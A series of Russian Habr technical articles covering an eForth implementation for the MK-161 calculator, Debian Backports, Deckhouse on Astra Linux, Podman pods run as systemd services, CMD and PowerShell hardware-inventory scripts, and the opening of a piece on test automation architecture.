Примитив PUBLISH завершает определение слова. При компиляции слов двоеточия PUBLISH вызывается из ;, в итоге бит SMUDGE не потребовался. Место, куда копируется заголовок из WORK, определяется переменной LAST. Если в LAST ноль, новый заголовок создаётся в соответствующем списке (см. 3). Нужный список заполнен? Тогда PUBLISH добавит ему ещё 5 регистров, четыре из них на будущее.
После работы PUBLISH переменная LAST всегда указывает на заголовок слова, определённого последним. Это помогает IMMEDIATE сделать своё дело, изменив поле лексикона.
### 5. (FIND) и таблицы распознавания имени
```
(FIND) ( a -- r T | a F ) Дать номер регистра r, в котором находится заголовок слова с именем a.
FIND ( a -- a F | xt 1 | xt -1) Поиск строки в словаре. Вернуть 1, если IMMEDIATE.
```
Поиском слова по его имени заведует примитив (FIND). Сперва он ищет имя среди встроенных слов с заранее известными именами, потом проверяет список слов пользователя с нужной длиной имени (см. 3). Таблицы распознавания имени серьёзно ускоряют это «сперва». Вот, как они устроены.
В начале (FIND) находит в массиве tblLen адрес главной ассоциативной таблицы, в которой «препарированы» известные имена нужной длины. В этой таблице (FIND) ищет первую литеру имени. В большинстве случаях это сразу позволяет узнать *номер регистра заголовка* искомого слова — по первой литере и длине.
Бывает, что несколько слов одной длины имеют одинаковые первые литеры. Тогда вместо номера регистра (FIND) натыкается на адрес следующей ассоциативной таблицы (считанное число равно 300 или больше) и поиск продолжается по второй литере. И так далее, пока слово не будет найдено или установлено, что такого слова нет.
Конечно, после совпадения по первым литерам (FIND) сверяет всё имя целиком. Но **таблицы распознавания сделали eForth быстрым**. Этой весной я вложил в них много своего времени, и теперь они экономят время поиска. «Ключи» в них даже отсортированы по алфавиту. Жаль, прошивке МК-161 на это начхать.
Ради совместимости я реализовал слово FIND из Форта ANS [4], которое доверяет «чёрную работу» примитиву (FIND). Уже рассмотренное слово ?UNIQUE также ищет свой аргумент через (FIND).
### 6. Внешний интерпретатор
Книга [1] содержит исчерпывающее описание eForth, в том числе рассказывает про внешний «текстовый» интерпретатор. Именно он исполняет или компилирует исходный текст на языке Форт. Отличия от текстовых интерпретаторов других диалектов Форта ([2], [3]) за прошедшие десятилетия появились, но их немного.
Ниже приведена блок-схема текстового интерпретатора, взятая из [1]. Будьте внимательны — у этого «интерпретатора» есть режим компиляции! Слово $COMPILE отвечает за компиляцию текста на Форте в «шитый код», исполнение которого мы так подробно рассмотрели в первой статье. Когда вместо него исполняется $INTERPRET, вводимые слова исполняются сразу же — режим интерпретации. EVAL «вычисляет» введённую строку полностью, вызывая для каждого введённого слова одно из этих двух слов.
После блок-схемы автор приводит расшифровку, что какой из блоков делает. Вот её перевод. Имена блоков обычно соответствуют именам слов eForth. Слово NAME? в моей реализации отсутствует, его успешно заменяет быстрый (FIND) (см. 5).
| | |
| --- | --- |
| MAIN | Настроить виртуальный «движок» Форта |
| COLD | Инициализировать системные переменные |
| ABORT | Сбросить стек данных. Обработчик ошибок |
| QUIT | Сбросить стек возвратов и войти в цикл интерпретатора |
| QUERY | Принять ввод текста с терминала |
| EVAL | Вычислить или интерпретировать строку текста |
| PARSE | Выделить слово из введённого текста |
| $INTERPRET | Интерпретировать слово |
| $COMPILE | Скомпилировать слово |
| NAME? | Поискать слово в словаре |
| NUMBER? | Перевести строку текста в целое |
| EXECUTE | Исполнить слово |
| IMMED? | Это слово — немедленная команда? |
| LITERAL | Скомпилировать целый литерал |
| COMPILE | Скомпилировать токен |
Также в книге приводится исходный текст каждого слова eForth в варианте для Windows, с краткими пояснениями. В чём версия для МК-161 отличается, я вам уже рассказал. Исходный текст моей реализации есть в архиве: [the-hacker.ru/2019/161eforth0.5b.zip](http://the-hacker.ru/2019/161eforth0.5b.zip)
Напоследок упомяну реализацию слова **(PARSE) на языке МК-161** — под Windows оно СВУ. Отладка заняла неделю, зато **ускорила компиляцию в два раза**. Слово (PARSE) делает всю «чёрную работу» для PARSE по вычленению отдельных слов из входного потока текста.
Мои добавления к внешнему интерпретатору это два слова, помимо обычного цикла QUIT: уже упоминавшийся TLOAD и взятый из старых версий FILE. Слово FILE переводит ввод-вывод на консоль, но считывает строки для интерпретации из порта RS-232. После успешной обработки каждой строки в порт выводится литера с кодом 11. Загружаемый с компьютера файл должен заканчиваться словом QUIT.
Слово FILE я пока не отлаживал. Если оно кому-либо нужно, поделитесь впечатлениями.
Обзор трудных мест 161eForth закончен, но Форт — невероятно гибкий инструмент, который каждый владелец подстраивает под себя. Даже когда вы во всём досконально разобрались, кто-нибудь где-нибудь на планете придумает очередной фокус, способный вас удивить.
Приведу завершающие слова автора eForth из [1]:
> За 26 лет я переписывал eForth много, много раз. В каждом пере-писывании я старался сделать его проще и яснее. Теперь в 86eForth v5.2, думаю, я достиг правильности, и поэтому очень счастлив.
>
>
>
> Как сказал Эйнштейн:
>
> **Всё должно быть сделано так просто, как возможно, но не проще.**
>
>
>
> Сделать 86eForth v5.2 ещё проще, возможно, поломает его или не полезно, как инструмент программирования.
### Литература
1. Dr. Chen-Hanson Ting. eForth and Zen — 3rd Edition, 2017. Есть на Amazon Kindle.
2. Баранов С.Н., Ноздрунов Н.Р. Язык Форт и его реализации. — Л.: Машиностроение. Ленингр. отд-ние, 1988.
3. Семёнов Ю.А. Программирование на языке ФОРТ. — М.: Радио и связь, 1991.
4. Стандарт ANS Forth. X3.215-1994. [Перевод](http://oco.org.ua/download/forth/dpans94_ru.html).
5. [Документация по SP-Forth](http://spf.sourceforge.net/docs/readme.ru.html).
6. [Сайт Offete Enterprises (Dr. Chen-Hanson Ting)](https://sites.google.com/offete23.com/eforth/home), автора 86eForth v5.2, на английском языке.
7. [Рассказ Михаила Пухова «Истинная правда»](http://epizodyspace.ru/bibl/tm/1985/6/istinn-prav.html) с программой «Лунолёт-1», откуда я взял КДПВ и любовь к советским калькуляторам. | https://habr.com/ru/post/452572/ | null | ru | null |
# Backports-сервис становится официальным
Время debian — есть еще интересные новости!
Проект Debian рад объявить, что Backports-репозиторий,
ранее доступный на [www.backports.org](http://www.backports.org) [1] теперь также является официальным сервисом Debian и предоставляется на [backports.debian.org](http://backports.debian.org) [2].
`1: www.backports.org
2: backports.debian.org`
Backports — это пакеты из тествого репозитория перекомпилированные для текущего или даже прошлого стабильного релиза, для предоставления пользователям стабильного выпуска возможности использования новых версий некоторых пакетов, таких как ядро Linux, браузер Iceweasel или пакета OpenOffice.org, без ущерба общей стабильности системы.
В настоящее время архив содержит 528 пакетов портированных для Lenny. Так же инфраструктура готова для предстоящего релиза Squeeze, что позволит включить конфигурацию для backports-репозитория прямо в образе установшика Debian. Сервис для Squeeze будет включен после релиза.
ну и еще в анонсе было немного информации про баги, списки рассылки и благодарности создателям оригинального `www.backports.org`…
ps: текст от пользователя [SerGold](https://habrahabr.ru/users/sergold/)… | https://habr.com/ru/post/103606/ | null | ru | null |
# Мы развернули платформу Deckhouse на узле с Astra Linux. Рассказываем, как (и зачем)
Astra Linux — российская операционная система специального назначения, актуальная версия которой основана на Debian 10.0 (Buster). В частности, эту ОС используют органы государственной власти, госслужбы и госкорпорации. Astra Linux включена в единый реестр российского ПО, сертифицирована ФСТЭК, а версия Astra Linux Special Edition еще и отвечает требованиям по защите любой информации ограниченного доступа: персональных данных, конфиденциальной информации, а также гостайны до уровня особой важности.
Наши заказчики все чаще [спрашивают](https://t.me/deckhouse_ru/2967), подходит ли [платформа Deckhouse](https://deckhouse.io/ru/) для импортозамещения. Это побудило нас связаться с командой Astra Linux, чтобы обсудить сотрудничество.
Сначала нужно было понять, какие ограничения могут возникнуть при запуске Deckhouse на ВМ с Astra Linux. Мы взяли достаточно старую и широко распространенную версию Astra Linux Common Edition 2.12.43, которая основана еще на Debian 9.
Запускаем ВМ на Astra Linux
---------------------------
Для внутренних экспериментов в качестве облака мы используем OpenStack. У Astra Linux есть специальный образ — cloud-init orel-vanilla-2.12.43-cloud-mg6.0.0, — который доступен в формате qcow. Мы залили его в OpenStack и все заработало:
```
openstack image create --public --disk-format qcow2 --file ~/Downloads/orel-vanilla-2.12.43-cloud-mg6.0.0.qcow2 orel-vanilla-2.12.43-cloud
```
Далее решили добавить ВМ на Astra Linux в существующий кластер как worker-узел.
Добавляем ВМ в кластер
-----------------------
Сразу скажу, что Orel взлетел, однако для этого пришлось решить три проблемы.
**Отсутствие поддержки Debian в Deckhouse.** Astra Linux базируется на Debian, но Deckhouse пока официально работает только с Ubuntu и CentOS. Мы сразу вспомнили [соответствующий issue](https://github.com/deckhouse/deckhouse/issues/17) — и решили обязательно добавить поддержку Debian в рамках будущей интеграции с Astra Linux.
На сей раз мы [добавили ВМ как статичный узел](https://deckhouse.io/ru/documentation/v1/modules/040-node-manager/faq.html#%D0%BA%D0%B0%D0%BA-%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8-%D0%B4%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C-%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%87%D0%BD%D1%8B%D0%B9-%D1%83%D0%B7%D0%B5%D0%BB-%D0%B2-%D0%BA%D0%BB%D0%B0%D1%81%D1%82%D0%B5%D1%80) и запустили в расчете на то, что всё заработает на Ubuntu (в основе которой — Debian). И всё заработало… хотя пришлось немного попинать по колесам и постучать молотком — об этом ниже.
**Отсутствие пакета conntrack.** У Kubernetes есть инструкция, [как поставить kubelet на Debian-дистрибутив](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/#installing-kubeadm-kubelet-and-kubectl). Но в зависимостях требуется пакет conntrack, которого не было в дистрибутиве Astra Linux. Пришлось устанавливать kubelet как бинарник (см. раздел инструкции *Without a package manager*).
**Старая версия nginx.** Для проксирования запросов с узлов к kube-api-server мы используем nginx. В репозитории пакетов Astra Linux на момент эксперимента был только nginx версии 1.14, в котором нет модуля ngx\_stream\_module. Поэтому пришлось поправить автоматически сгенерированный конфиг для proxy и подключить модуль динамически через `load_module /usr/lib/nginx/modules/ngx_stream_module.so`.
При этом в новом релизе Astra Linux Special Edition все необходимые пакеты и компоненты уже есть — и conntrack, и новый nginx.
По результатам нагрузочного и функционального тестирования проблем не выявлено.
Вывод
-----
Благодаря эксперименту мы убедились, что для полноценной поддержки даже старых версий Astra Linux никаких серьезных ограничений у Deckhouse нет. Потребуется небольшая доработка только со стороны платформы.
Вместе с коллегами из ГК Astra Linux мы продолжим работать над совместимостью Deckhouse и ОС.
P.S.
----
Читайте также в нашем блоге:
* [«Kubernetes-платформа Deckhouse зарегистрирована в Едином реестре российского ПО»](https://habr.com/ru/company/flant/news/t/597623/)
* [«Как переехать с GKE на Deckhouse, чтобы разработчики этого даже не заметили. Кейс robota.ua»](https://habr.com/ru/company/flant/blog/598399/)
* [«Deckhouse v1.28.0. Ключевые фичи в новом релизе Kubernetes-платформы»](https://habr.com/ru/company/flant/news/t/595335/) | https://habr.com/ru/post/646683/ | null | ru | null |
# Как запускать поды как сервисы systemd в Podman
Расширять традиционные практики администрирования Linux с помощью контейнеров — естественный путь развития. [Podman](https://podman.io/) без проблем интегрируется в Linux, но поддержка [systemd](https://www.redhat.com/sysadmin/systemd-commands) — краеугольный камень этой интеграции. Команда [VK Cloud Solutions](https://mcs.mail.ru/) перевела статью о том, как она работает.
Использование systemd и контейнеров
-----------------------------------
В Linux система systemd init часто используется для управления локальными службами: веб-серверами, сетевыми демонами и всеми их взаимозависимостями.
Есть два распространенных сценария совместного использования systemd и контейнеров:
**Запуск systemd внутри контейнера.** Как объясняет Дэн Уолш, [сделать это](https://developers.redhat.com/blog/2019/04/24/how-to-run-systemd-in-a-container) с помощью Podman максимально просто: он автоматически настраивает в контейнере несколько mounts, и все — systemd готов к работе. Хотя это относительно незаметная функция Podman, ее появление стало огромным шагом вперед для запуска контейнеризированных рабочих нагрузок.
Раньше другие контейнерные инструменты не поддерживали systemd. Пользователям приходилось писать свои init-скрипты, а это возможный источник ошибок и дополнительная нагрузка на службы поддержки поставщиков ПО. Podman решает все эти проблемы. С помощью systemd можно устанавливать и запускать приложения в контейнерах, как и с помощью других инструментов. А поставщикам ПО не нужно разбираться с init-скриптами, «вышедшими из-под пера» пользователей.
**Использование systemd для запуска и работы контейнеризированных приложений.** systemd запускает контейнеризированное приложение и управляет им на протяжении его жизненного цикла. C Podman это делается проще с помощью команды`podman generate systemd`, которая генерирует юнит-файл systemd для конкретного контейнера или пода. Такое генерирование поддерживается в Podman начиная с версии 1.7. Со временем наша команда доработала функцию и создала юнит-файлы systemd, которые могут [работать на других машинах](https://www.redhat.com/sysadmin/improved-systemd-podman), наподобие использования Kubernetes YAML или файла Compose. Тесная интеграция с systemd положила начало [автообновлениям и простым откатам](https://www.redhat.com/sysadmin/podman-auto-updates-rollbacks), реализованным начиная с версии Podman 3.4.
Хотя в блогах можно найти множество статей о генерировании юнитов systemd для контейнеров, практически ничего не написано об их генерировании для подов. Но прежде чем углубиться в детали хочу напомнить, что такое под.
Что такое под
-------------
Под состоит из нескольких частей, и, думаю, Брент Боде [лучше всех все объяснил](https://developers.redhat.com/blog/2019/01/15/podman-managing-containers-pods#podman_pods__what_you_need_to_know) на рисунке ниже:
Под состоит из одного или более контейнеров. У группы есть общие контрольные группы ([cgroups](https://www.redhat.com/sysadmin/cgroups-part-four)) и [конкретные пространства имен](https://www.redhat.com/sysadmin/7-linux-namespaces), такие как пространство PID, сети и IPC. Благодаря общим cgroups для всех контейнеров действуют одни и те же ограничения ресурсов. Общие пространства имен упрощают коммуникацию контейнеров друг с другом, например, через localhost или взаимодействие процессов.
Есть и специальный infra-контейнер. Его основная задача — держать открытыми конкретные ресурсы, связанные с подом, например, порты, пространства имен или cgroups. Infra-контейнер — это верхнеуровневый контейнер пода, он создается раньше других контейнеров и уничтожается последним. Infra-контейнер используют при генерировании юнитов systemd для пода, так что не забывайте: этот контейнер работает на протяжении всей жизни пода. Это также означает, что без infra-контейнера (такого как `--infra=false`) нельзя генерировать юниты systemd для подов.
И еще один немаловажный момент: для каждого контейнера выполняется по одному процессу `conmon` — это сокращение от container monitor, что точно выражает главную функцию этого процесса. Он также пересылает логи и выполняет чистку после завершения работы контейнера. Процесс conmon запускается до контейнера и дает среде его исполнения (например, `runc` или `crun`) указание создать и запустить контейнер. Его работу можно завершить с помощью кода завершения контейнера, что позволяет использовать его как основной процесс службы systemd.
Генерирование юнитов systemd для пода
-------------------------------------
Podman генерирует только один системный юнит для контейнера. После установки для запуска, остановки и проверки службы можно использовать `systemctl`. Основной PID каждого юнита — это процесс conmon контейнера. Таким образом, systemd может читать код завершения работы контейнера и действовать в соответствии с настроенной политикой перезапуска. Узнать больше о юнитах можно из статей [Запуск контейнеров в Podman и службы systemd в общем доступе](https://www.redhat.com/sysadmin/podman-shareable-systemd-services) и [Улучшения systemd в Podman 2.0](https://www.redhat.com/sysadmin/improved-systemd-podman).
Генерирование юнитов для пода очень похоже на запуск контейнера. У каждого контейнера в поде есть выделенный юнит systemd, а каждый юнит зависит от основного юнита systemd пода. Можно и дальше использовать `systemctl` для запуска, остановки и проверки основной службы пода; systemd возьмет на себя (пере)запуск и остановку служб контейнеров вместе с основной службой.
В этом примере создается под с двумя контейнерами и генерируются юнит-файлы для пода, которые потом устанавливаются для текущего пользователя:
```
$ podman pod create --name=my-pod
635bcc5bb5aa0a45af4c2f5a508ebd6a02b93e69324197a06d02a12873b6d1f7
$ podman create --pod=my-pod --name=container-a -t centos top
c04be9c4ac1c93473499571f3c2ad74deb3e0c14f4f00e89c7be3643368daf0e
$ podman create --pod=my-pod --name=container-b -t centos top
b42314b2deff99f5877e76058ac315b97cfb8dc40ed02f9b1b87f21a0cf2fbff
$ cd $HOME/.config/systemd/user
$ podman generate systemd --new --files --name my-pod
/home/vrothberg/.config/systemd/user/pod-my-pod.service
/home/vrothberg/.config/systemd/user/container-container-b.service
/home/vrothberg/.config/systemd/user/container-container-a.service
```
Как и ожидалось, Podman создал три файла `.service`, по одному для каждого контейнера плюс один верхнеуровневый для пода. В приложении в конце статьи приведено содержание юнит-файлов целиком. Юниты, генерируемые для двух контейнеров, выглядят как стандартные юниты контейнеров плюс следующие зависимости systemd:
* `BindsTo=pod-my-pod.service`: юнит контейнера «привязан» к юниту пода. Если остановить юнит пода, этот юнит тоже остановится.
* `After=pod-my-pod.service`: юнит контейнера запускается после юнита пода.
Если юниту контейнера не удается запуститься, то из-за зависимостей основной службы пода основной юнит основного пода тоже этого не сможет.
Это все, что нужно знать о генерировании юнитов systemd для подов в Podman.
Перезагрузив systemd через `systemctl --user daemon-reload`, можно запускать и останавливать `pod.service` на свое усмотрение. Взгляните:
```
# Reload the daemon
$ systemctl --user daemon-reload
# Start the pod service and make sure the service is running
$ systemctl --user start pod-my-pod.service
$ systemctl --user is-active pod-my-pod.service
active
# Make sure the pod and its containers are running
$ podman pod ps
POD ID NAME STATUS CREATED INFRA ID # OF CONTAINERS
6dd1090d4ca6 my-pod Running 2 minutes ago 85f760a5cfe5 3
user $ podman container ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
85f760a5cfe5 localhost/podman-pause:4.0.2-1646319369 5 minutes ago Up 5 minutes ago 6dd1090d4ca6-infra
44a7e60b9563 quay.io/centos/centos:latest top 5 minutes ago Up 5 minutes ago container-b
31f24bdff747 quay.io/centos/centos:latest top 5 minutes ago Up 5 minutes ago container-a
```
Отлично, все работает как надо. Можно использовать `systemctl` для запуска служб — Podman выводит список подов и их служб корректно. Заодно покажу вам, как останавливать службу пода:
```
# Stop the pod service
$ systemctl --user stop pod-my-pod.service
# Make sure the pod and its containers are removed
$ podman pod ps -q
$ podman container ps -q
# Make sure the services are inactive
$ systemctl --user is-active pod-my-pod.service container-container-a.service container-container-b.service
inactive
inactive
inactive
```
[качать](https://www.redhat.com/en/engage/system-administrator-guide-s-202107300146?intcmp=701f20000012ngPAAQ)
> Podman генерирует юниты systemd для подов так же, как и для контейнеров. Зависимости между этими юнитами работают таким образом, что вам нужно взаимодействовать только с основным юнитом пода, а systemd будет запускать и останавливать юниты контейнеров.
Приложение
----------
Podman генерирует следующие юнит-файлы для пода и двух контейнеров.
```
pod-my-pod.service
Description=Podman pod-my-pod.service
Documentation=man:podman-generate-systemd(1)
Wants=network-online.target
After=network-online.target
RequiresMountsFor=
Requires=container-container-a.service container-container-b.service
Before=container-container-a.service container-container-b.service
[Service]
Environment=PODMAN_SYSTEMD_UNIT=%n
Restart=on-failure
TimeoutStopSec=70
ExecStartPre=/bin/rm -f %t/pod-my-pod.pid %t/pod-my-pod.pod-id
ExecStartPre=/usr/bin/podman pod create --infra-conmon-pidfile %t/pod-my-pod.pid --pod-id-file %t/pod-my-pod.pod-id --name=my-pod --replace
ExecStart=/usr/bin/podman pod start --pod-id-file %t/pod-my-pod.pod-id
ExecStop=/usr/bin/podman pod stop --ignore --pod-id-file %t/pod-my-pod.pod-id -t 10
ExecStopPost=/usr/bin/podman pod rm --ignore -f --pod-id-file %t/pod-my-pod.pod-id
PIDFile=%t/pod-my-pod.pid
Type=forking
[Install]
WantedBy=default.target
container-container-a.service
[Unit]
Description=Podman container-container-a.service
Documentation=man:podman-generate-systemd(1)
Wants=network-online.target
After=network-online.target
RequiresMountsFor=%t/containers
BindsTo=pod-my-pod.service
After=pod-my-pod.service
[Service]
Environment=PODMAN_SYSTEMD_UNIT=%n
Restart=on-failure
TimeoutStopSec=70
ExecStartPre=/bin/rm -f %t/%n.ctr-id
ExecStart=/usr/bin/podman run --cidfile=%t/%n.ctr-id --cgroups=no-conmon --rm --pod-id-file %t/pod-my-pod.pod-id --sdnotify=conmon -d --replace --name=container-a -t centos top
ExecStop=/usr/bin/podman stop --ignore --cidfile=%t/%n.ctr-id
ExecStopPost=/usr/bin/podman rm -f --ignore --cidfile=%t/%n.ctr-id
Type=notify
NotifyAccess=all
[Install]
WantedBy=default.target
container-container-b.service
[Unit]
Description=Podman container-container-b.service
Documentation=man:podman-generate-systemd(1)
Wants=network-online.target
After=network-online.target
RequiresMountsFor=%t/containers
BindsTo=pod-my-pod.service
After=pod-my-pod.service
[Service]
Environment=PODMAN_SYSTEMD_UNIT=%n
Restart=on-failure
TimeoutStopSec=70
ExecStartPre=/bin/rm -f %t/%n.ctr-id
ExecStart=/usr/bin/podman run --cidfile=%t/%n.ctr-id --cgroups=no-conmon --rm --pod-id-file %t/pod-my-pod.pod-id --sdnotify=conmon -d --replace --name=container-b -t centos top
ExecStop=/usr/bin/podman stop --ignore --cidfile=%t/%n.ctr-id
ExecStopPost=/usr/bin/podman rm -f --ignore --cidfile=%t/%n.ctr-id
Type=notify
NotifyAccess=all
[Install]
WantedBy=default.target
```
> [Kubernetes aaS](https://mcs.mail.ru/containers/) от VK Cloud Solutions можно попробовать бесплатно. Мы начисляем пользователям при регистрации 3 000 бонусных рублей и будем рады, если вы попробуете сервис и дадите обратную связь.
**Что почитать по теме:**
* [Куда исчезают секреты Kubernetes](https://habr.com/ru/company/vk/blog/672796/)
* [Gatekeeper и его роль в обеспечении безопасности кластеров Kubernetes](https://habr.com/ru/company/vk/blog/669788/)
* [Особенности платформы Rancher для управления кластерами Kubernetes](https://habr.com/ru/company/vk/blog/659407/) | https://habr.com/ru/post/674832/ | null | ru | null |
# Информация о компьютере: просто и быстро
Довольно часто нужно быстро, кратко, но информативно получить информацию о стационарном компьютере или ноутбуке, без дополнительного ПО и не «вскрывая крышку».
Это можно реализовать, например, средствами командной строки ОС Windows или PowerShell.
CMD — проверенный временем функционал, который есть в любой версии Windows.
Кроме того, для простых задач администрирования cmd использовать привычнее, а где-то и удобнее.
Что лучше — CMD или PowerShell? Я не готов однозначно ответить на этот вопрос.
Впрочем, ничто не мешает нам пользоваться и тем и другим, все зависит от поставленной задачи.
Мы не будем собирать всю информацию о ПК — для этого существует множество специализированного ПО!
### **Реализация с помощью CMD.**
Сбор информации будем осуществлять использованием переменных среды Windows и выполнением сценариев WMI.
Для вывода всех переменных окружения в Windows и их значений служит команда set.
Для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI) служит команда WMIC.
Подсказку по работе с утилитой wmic.exe можно получить по команде:
* wmic /? — отобразить общую справку.
* wmic /?:BRIEF — отобразить краткую справку.
* wmic /?:FULL — отобразить полную справку.
Мы будем использовать:
* BASEBOARD (управление системной платой);
* COMPUTERSYSTEM (управление компьютером);
* CPU (управление ЦП);
* DISKDRIVE (управление физическими дисками);
* MEMORYCHIP (информация о микросхемах памяти).
Скрипт содержит много циклов с FOR.
Отличительной особенностью FOR /F является умение работать через токены, а также поддержка дополнительных ключевых слов:
* skip (пропуск определенного кол-ва обрабатываемых строк от начала файла);
* delims (задать другой разделитель(-ли), по умолчанию, пробел и знак табуляции);
* tokens (количество получаемых токенов (подстрок) в теле цикла и пределы разбивки по разделителю). Также можно задать конкретный № токена, который попадет в первую переменную цикла;
* usebackq (изменение правил использования кавычек внутри IN (...)).
Ниже скрипт.
```
@echo off
:имя файла для записи информации
set fname=pcinfo.txt
:имя компьютера
Echo pcname: %computername% >>%fname%
:IP-адрес компьютера по его имени
FOR /F "usebackq tokens=2 delims=[]" %%i IN (`ping %Computername% -n 1 -4`) DO if not "%%i"=="" Set ip=%%i
Echo IP %computername%: %ip% >>%fname%
:имя активного пользователя
Echo username: %username% >>%fname%
:модель ноутбука
set cmd=wmic computersystem get model
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
set _pn=%%Z
GOTO BREAK1
)
:BREAK1
echo CS Model: %_pn% >>%fname%
:процессор
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic cpu get name') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set CPULbl=%%A
set /a mmr=!mmr!+1
echo CPU !mmr!: !CPULbl! >>%fname%
))
:материнская плата
set cmd=wmic baseboard get product
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
set _mb=%%Z
GOTO BREAK2
)
:BREAK2
echo MB: %_mb% >>%fname%
:оперативная память
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('WMIC MemoryChip get BankLabel^,DeviceLocator^,PartNumber^,Speed^,Capacity') do (
for /f "tokens=1-5 delims=" %%A in ("%%i") do (
set BnkLbl=%%A
set /a mmr=!mmr!+1
echo Memory !mmr!: !BnkLbl! >>%fname%
wmic MEMORYCHIP get banklabel, partnumber, capacity, speed, manufacturer
))
:диски
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic diskdrive get model^,size') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set HDDLbl=%%A
set /a mmr=!mmr!+1
echo DISK !mmr!: !HDDLbl! >>%fname%
))
```
### **Реализация с помощью PowerShell.**
В оболочке PowerShell, перед тем как запускать скрипт, нужно выполнить команду, разрешающую выполнение неподписанных скриптов для текущего сеанса оболочки:
```
Set-ExecutionPolicy RemoteSigned -Scope Process
```
Сбор информации будет осуществляться использованием в основном Get-WmiObject -Class win32, все просто, работа с циклами.
Мы будем использовать:
* Get-WmiObject -Class win32\_processor;
* Get-WmiObject -Class win32\_baseboard;
* Get-WmiObject Win32\_PhysicalMemory;
* Get-PhysicalDisk;
* Get-WmiObject -Class Win32\_ComputerSystem;
* Get-WmiObject Win32\_NetworkAdapter;
* Win32\_NetworkAdapterConfiguration.
Есть небольшие сложности при определении IP-адреса активной сетевой карты. Для этого применяем фильтр NetConnectionStatus — «2», после берем информацию mac-адрес от класса Win32\_NetworkAdapter и IP-адрес из класса Win32\_NetworkAdapterConfiguration и объединяем в один запрос:
```
PS C:\Users\admin> Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2'
ServiceName : Qcamain10x64
MACAddress : 58:00:E3:7D:87:3F
AdapterType : Ethernet 802.3
DeviceID : 1
Name : Qualcomm Atheros QCA61x4A Wireless Network Adapter
NetworkAddresses :
Speed : 144400000
```
Для получения параметров сети по MACAddress активной сетевой карты дополнительно считываем Win32\_NetworkAdapterConfiguration.
Ниже скрипт.
```
#имя файла для записи информации
$fname = "pcinfo.txt"
$CPU = Get-WmiObject -Class win32_processor
$MB = Get-WmiObject -Class win32_baseboard
$MEM = Get-WmiObject Win32_PhysicalMemory
$DD = Get-PhysicalDisk
$pcn = Get-WmiObject -Class Win32_ComputerSystem
#имя компьютера
"pcname: "+$pcn.Name | Out-File -FilePath $fname -Append -Encoding Default
#IP-адрес компьютера по его имени
Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
ForEach-Object {
$pcip = 1 | Select-Object IP
$config = $_.GetRelated('Win32_NetworkAdapterConfiguration')
$pcip.IP = $config | Select-Object -expand IPAddress
$pcip
}
foreach($aip in $pcip) {
"IP: "+$aip.IP | Out-File -FilePath $fname -Append -Encoding Default
}
#имя активного пользователя
"username: "+$pcn.PrimaryOwnerName | Out-File -FilePath $fname -Append -Encoding Default
#модель ноутбука
"CS Model: "+$pcn.Model | Out-File -FilePath $fname -Append -Encoding Default
#процессор
$num = 0
foreach($processor in $CPU) {
$num = $num+1
"CPU "+$num+": "+$processor.Name | Out-File -FilePath $fname -Append -Encoding Default
}
#материнская плата
"MB: "+$MB.Product | Out-File -FilePath $fname -Append -Encoding Default
#оперативная память
$num = 0
foreach($memory in $MEM) {
$num = $num+1
"MEMORY "+$num+": "+$memory.PartNumber+" "+$memory.Capacity+" "+$memory.Speed | Out-File -FilePath $fname -Append -Encoding Default
}
#диски
$num = 0
foreach($disk in $DD) {
$num = $num+1
"DISK "+$num+": "+$disk.FriendlyName+" "+$disk.Size+" "+$disk.MediaType | Out-File -FilePath $fname -Append -Encoding Default
}
``` | https://habr.com/ru/post/496710/ | null | ru | null |
# Как правильно сложить колоду автоматизации тестирования
*(*[*Эта статья*](https://techbeacon.com/app-dev-testing/how-stack-your-test-automations-deck) *первоначально появилась на* [*TechBeacon.com*](https://techbeacon.com/)*)*
Перекладывание игральных карт колоды в свою пользу называется «подтасовать колоду». За пределами карточной игры этот термин используют в более широком смысле для обозначения решения ситуации таким образом, чтобы увеличить шансы на благоприятный исход.
Когда речь идет об [автоматизации тестирования](https://content.microfocus.com/software-test-automation-tb/buyers-guide-software-test-automation?utm_source=techbeacon&utm_medium=techbeacon&utm_campaign=7014J000000dVA4QAM), смысл не отличается. В частности, вы хотите выстроить архитектуру, имплементацию и шаблоны использования таким образом, чтобы они подходили для всего предполагаемого жизненного цикла вашего приложения.
Один из подходов к обеспечению будущей работы — меньше сосредотачиваться на фреймворке автоматизации и больше на стеке автоматизации. Стек автоматизации — это многоуровневая архитектура автоматизации, в которой каждый уровень опирается на предыдущий и предоставляет соответствующий аудитории интерфейс к возможностям нижних уровней. Такой многоуровневый подход помогает продлить долгосрочную жизнь проекта, повышая его совместимость с различными платформами и инструментами.
Далее представлены уровни, которые могут быть ценной частью реализации автоматизации, а также некоторые предостережения, которые следует учитывать перед созданием архитектуры.
### Поймите две основные концепции
Создавая стек автоматизации, не забывайте, что вы занимаетесь программированием; вы создаете программное обеспечение и должны относиться к этой задаче как к разработке программного обеспечения. Это означает — вы должны следовать практике разработки и поставки программного обеспечения, соответствующей тому, что вы разрабатываете.
Два мощных принципа разработки для создания стека автоматизации — это инкапсуляция и абстракция.
### Сокрытие деталей с помощью инкапсуляции
*Инкапсуляция* — это практика сокрытия деталей реализации и данных программной конструкции. Такое сокрытие ценно тем, что позволяет разработчику изменять имплементацию, структуры данных или и то, и другое, не заставляя при этом пользователя вносить излишние изменения в код.
